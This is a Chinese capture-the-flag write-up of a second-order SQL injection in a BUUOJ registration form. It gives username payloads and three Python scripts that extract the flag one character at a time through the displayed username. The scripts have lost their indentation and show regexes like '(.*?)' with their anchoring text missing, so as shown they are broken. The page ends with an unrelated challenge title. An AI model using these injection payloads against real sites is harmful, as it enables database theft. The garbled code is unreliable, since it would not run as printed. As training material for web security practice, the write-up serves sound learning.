测试,看到用户名有回显,那么就是又一次从数据库中查询数据,可能有SQL注入的可能,然后我在注册用户名的时候,加上了 '
,然后就死活注册不了,,
也不给我报错,,我在这里也想了一会,,想不明白
后来想到了,可能是报错,然后就没执行,然后我用了万能密码来的。
用户名:a'1 or '1
。
你注册成功后,他就会自动跳转到login.php的。
接着测试一下:
在意料之内,这就表示 0 ,错误了,
然后进一步测试:
呃,有过滤,fuzz一下把,
用户名 : a1' or '(ascii(substr(database(),1,1))>0)
过滤的好像不多(至少从我的字典中看来):
payload的思路直接是抄袭的,侵权了联系我。
注意,这里要带上 session,每一次注册,登陆是一次,是有记忆的。
#coding:utf-8
import requests
import re
url = 'http://4d7fce64-1ecf-41a0-a416-295a21ea6617.node3.buuoj.cn/'
m = ''
for i in range(100):
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
register = {
'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
login = {
'email':'abc{}@qq.com'.format(i),'password':'123456'}
req = requests.session()
r1 = req.post(url+'register.php',data = register)
r2 = req.post(url+'login.php', data = login)
r3 = req.post(url+'index.php')
content = r3.text
# print(content)
con = re.search('(.*)',content,re.S)
# re.findall也不错,也挺好,
# con = re.search('(.*)',content,re.M|re.S)
print(con.group())
!!!
con = re.search('(.*)',content,re.S)
这样是贪婪模式,我希望他在第一个位置就停下来的,所以我需要非贪婪模式
非贪婪模式:.*? 加个 ? 就行了
con = re.search('(.*?)',content,re.S)
那既然这样,我们就不必要用 re.search 来做了,用re.findall来做,这个只返回中间的东西,
注:findall,就不用 group了。
#coding:utf-8
import requests
import re
url = 'http://4d7fce64-1ecf-41a0-a416-295a21ea6617.node3.buuoj.cn/'
m = ''
for i in range(100):
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
register = {
'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
login = {
'email':'abc{}@qq.com'.format(i),'password':'123456'}
req = requests.session()
r1 = req.post(url+'register.php',data = register)
r2 = req.post(url+'login.php', data = login)
r3 = req.post(url+'index.php')
content = r3.text
# print(content)
con = re.findall('(.*?)',content,re.S)
# re.findall也不错,也挺好,
# con = re.search('(.*)',content,re.M|re.S)
print(con)
列表,那就输出con[0]
,这样就获得了数字了,
再就是去掉两旁的空格。
#coding:utf-8
import requests
import re
url = 'http://4d7fce64-1ecf-41a0-a416-295a21ea6617.node3.buuoj.cn/'
m = ''
for i in range(100):
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
register = {
'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
login = {
'email':'abc{}@qq.com'.format(i),'password':'123456'}
req = requests.session()
r1 = req.post(url+'register.php',data = register)
r2 = req.post(url+'login.php', data = login)
r3 = req.post(url+'index.php')
content = r3.text
# print(content)
con = re.findall('(.*?)',content,re.S|re.M)
# re.findall也不错,也挺好,
# con = re.search('(.*)',content,re.M|re.S)
# print(con[0].strip())
a = int (con[0].strip()) # 转一下 类型,因为html中的是str的, 要转为int才行。
# print(type(a))
m = m+chr(a)
print(m)
我就记得,这个题我做过,但是 没有知道到,,可算知道了,,这个比赛抄袭2018的网鼎杯的题,,,吐了,,hex的方法就看这个把,
[RootersCTF2019]I_<3_Flask — sql注入新方法:—‘0’+‘0’的奇怪方式来做 — 二次注入–hex双重编码- 16进制—ascii也可以的